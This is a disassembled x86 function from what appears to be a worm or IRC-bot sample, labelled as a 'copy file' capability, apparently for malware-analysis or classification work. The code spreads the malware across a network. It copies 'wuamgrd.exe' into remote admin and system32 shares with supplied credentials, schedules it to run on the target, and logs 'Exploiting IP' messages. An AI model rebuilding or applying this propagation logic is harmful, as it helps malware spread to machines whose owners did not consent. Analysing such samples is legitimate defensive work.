Function at 0x412a24
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x724
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0
mov ecx, dword [0x44ee7c]
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call ecx
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x412ad0
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov edx, dword [0x44ee84]
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call edx
sub esp, 0xc
mov eax, 0
jmp 0x412ee6
mov dword [ebp - 0x6ec], str.Admin__system32
mov dword [ebp - 0x6e8], str.c_winnt_system32
mov dword [ebp - 0x6e4], str.c_windows_system32
mov dword [ebp - 0x6e0], 0x441806
mov dword [ebp - 0x6dc], 0x441808
mov dword [ebp - 0x6f0], 0
mov dword [esp + 0x14], 0x190
lea eax, [ebp - 0x1cc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call eax
sub esp, 0x18
mov edx, dword [0x44ee54]
lea eax, [ebp - 0x6f0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1cc]
mov dword [esp], eax
call edx
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x412ec0
mov eax, dword [ebp - 0x6f0]
test eax, eax
je 0x412ec0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 4
ja 0x412cb9
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x6ec]
mov dword [esp + 0x10], str.wuamgrd.exe
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x4d8]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
lea eax, [ebp - 0x4d8]
mov dword [esp + 4], eax
mov dword [esp], str.wuamgrd.exe
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne al
test al, al
jne 0x412cb5
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 5
sete al
test al, al
je 0x412cac
mov dword [esp + 4], 0
lea eax, [ebp - 0x4d8]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__access]
call eax
test eax, eax
sete al
test al, al
je 0x412cac
lea eax, [ebp - 0x4d8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ebx, [eax - 5]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x66666667
mov eax, ecx
imul edx
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov eax, edx
add eax, 0x30
mov byte [ebp + ebx - 0x4d8], al
mov dword [esp + 8], 0
lea eax, [ebp - 0x4d8]
mov dword [esp + 4], eax
mov dword [esp], str.wuamgrd.exe
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne al
test al, al
jne 0x412cb8
add dword [ebp - 0x10], 1
jmp 0x412b8d
nop
jmp 0x412cb9
nop
cmp dword [ebp - 0xc], 0
jne 0x412cfe
mov edx, dword [0x44ee50]
mov eax, dword [ebp - 0x6f0]
mov dword [esp], eax
call edx
sub esp, 4
mov edx, dword [0x44ee84]
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call edx
sub esp, 0xc
mov eax, 0
jmp 0x412ee6
mov eax, dword [ebp - 0x6f0]
mov eax, dword [eax]
mov edx, 0x88888889
mul edx
mov eax, edx
shr eax, 5
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x6f0]
mov eax, dword [eax + 0x18]
sub dword [ebp - 0x1c], eax
add dword [ebp - 0x1c], 2
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
shr eax, 5
mov edx, 0x5b05b06
mul edx
imul eax, edx, 0x5a0
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x704]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0xea60
mov dword [ebp - 0x704], eax
mov dword [esp + 0x14], 0x208
lea eax, [ebp - 0x3d4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], str.wuamgrd.exe
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call eax
sub esp, 0x18
lea eax, [ebp - 0x3d4]
mov dword [ebp - 0x6f8], eax
mov edx, dword [0x44ee4c]
lea eax, [ebp - 0x6f4]
mov dword [esp + 8], eax
lea eax, [ebp - 0x704]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1cc]
mov dword [esp], eax
call edx
sub esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
sete al
test al, al
je 0x412ec0
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
test al, al
je 0x412dfe
mov eax, dword [ebp + 0xc]
jmp 0x412e03
mov eax, 0x441813
mov edx, dword [ebp - 0x10]
mov edx, dword [ebp + edx*4 - 0x6ec]
mov ecx, dword [ebp + 0xbc]
imul ecx, ecx, 0x3c
add ecx, str.webdav
add ecx, 0xa
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], edx
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], str.__s_:_Exploiting_IP:__s__Share:__s__User:___s__s_
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x6d8]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp + 0xc8]
test eax, eax
jne 0x412e94
mov edx, dword [ebp + 0xc4]
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6d8]
mov dword [esp + 8], edx
lea edx, [ebp + 0x14]
add edx, 0x14
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6d8]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0xbc]
imul edx, eax, 0x3c
add edx, 0x43b050
mov edx, dword [edx]
add edx, 1
imul eax, eax, 0x3c
add eax, 0x43b050
mov dword [eax], edx
mov edx, dword [0x44ee84]
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call edx
sub esp, 0xc
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret